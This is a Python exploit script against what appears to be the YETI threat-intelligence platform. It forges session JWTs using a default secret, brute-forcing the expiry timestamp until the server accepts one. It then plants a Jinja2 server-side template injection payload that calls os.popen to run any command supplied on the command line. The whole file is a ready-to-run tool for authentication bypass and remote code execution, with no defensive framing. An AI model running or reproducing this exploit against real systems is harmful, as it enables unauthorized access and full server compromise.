import argparse
import json
import random
import string
import time

import jwt
import requests

from tqdm import tqdm

def generate_jwt(username, secret_key, expires):
    header = {
        "alg": "HS256",
        "typ": "JWT"
    }

    payload = {
        "sub": username,
        "enabled": True,
        "exp": expires
    }

    token = jwt.encode(payload, secret_key, algorithm="HS256", headers=header)

    decoded_token = jwt.decode(token, secret_key, algorithms=["HS256"])

    return token


def brute_jwt(target, username, secret_key):
    epoch = int(time.time())
    while True:
        # ~30 days of keyspace
        for i in tqdm(range(0, 2593000)[::-1]):
            jwt_token = generate_jwt(username, secret_key, epoch + i)

            cookies = {
            'yeti_session': jwt_token
            }

            response = requests.get(f'{target}/api/v2/auth/me', cookies=cookies)

            if response.status_code == 401:
                continue

            return jwt_token
        
        print("Could not find JWT! Bruting keyspace again and hoping admin logs in")


def login(target, username, password):
    form_data = {
        'username': username,
        'password': password
    }

    return json.loads(requests.post(f'{target}/api/v2/auth/token', data=form_data).text)["access_token"]

def exploit(target, jwt_token, command):
    uuid_string = ''.join(random.choices(string.ascii_lowercase, k=16))
    cookies = {
    'yeti_session': jwt_token
    }
    headers = {
        'Content-Type': 'application/json',
    }
    json_data = {
        'observable': {
            'type': 'hostname',
            'value': uuid_string + '.com',
        },
    }
    observable_id = json.loads(requests.post(f'{target}/api/v2/observables/extended', cookies=cookies, headers=headers, json=json_data).text)["id"]

    json_data = {
        'template': {
            'name': 'EXPLOIT-' + uuid_string,
            'template': 'value,tags\n{% for obj in data %}{{obj.value}},{{";".join(obj.tags.keys())}}\n{% endfor %}\n\n{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__[\'__import__\'](\'os\').popen("' + command + '").read()}}{%endif%}{% endfor %}',
        },
    }
    template_id = json.loads(requests.post(f'{target}/api/v2/templates/', cookies=cookies, headers=headers, json=json_data).text)["id"]

    json_data = {
        'template_id': template_id,
        'observable_ids': [
            observable_id
        ],
        'search_query': '',
    }
    print(requests.post(f'{target}/api/v2/templates/render', cookies=cookies, headers=headers, json=json_data).text)


parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", help="The target username")
parser.add_argument("-p", "--password", help="The password of the user")
parser.add_argument("-j", "--jwt-token", help="A valid JWT for the application")
parser.add_argument("-t", "--target", help="The target application base URL", required=True)
parser.add_argument("-c", "--command", help="The command to run", required=True)
parser.add_argument("-s", "--secret", help="The JWT secret", default="SECRET")

args = parser.parse_args()
target = args.target.rstrip("/")

if args.username and args.password:
    jwt_token = login(target, args.username, args.password)
    exploit(target, jwt_token, args.command)
elif args.username and not args.password:
    jwt_token = brute_jwt(target, args.username, args.secret)
    exploit(target, jwt_token, args.command)
elif args.jwt_token:
    exploit(target, args.jwt_token, args.command)
else:
    print("Must provide either a username, username/password pair, or a JWT token")
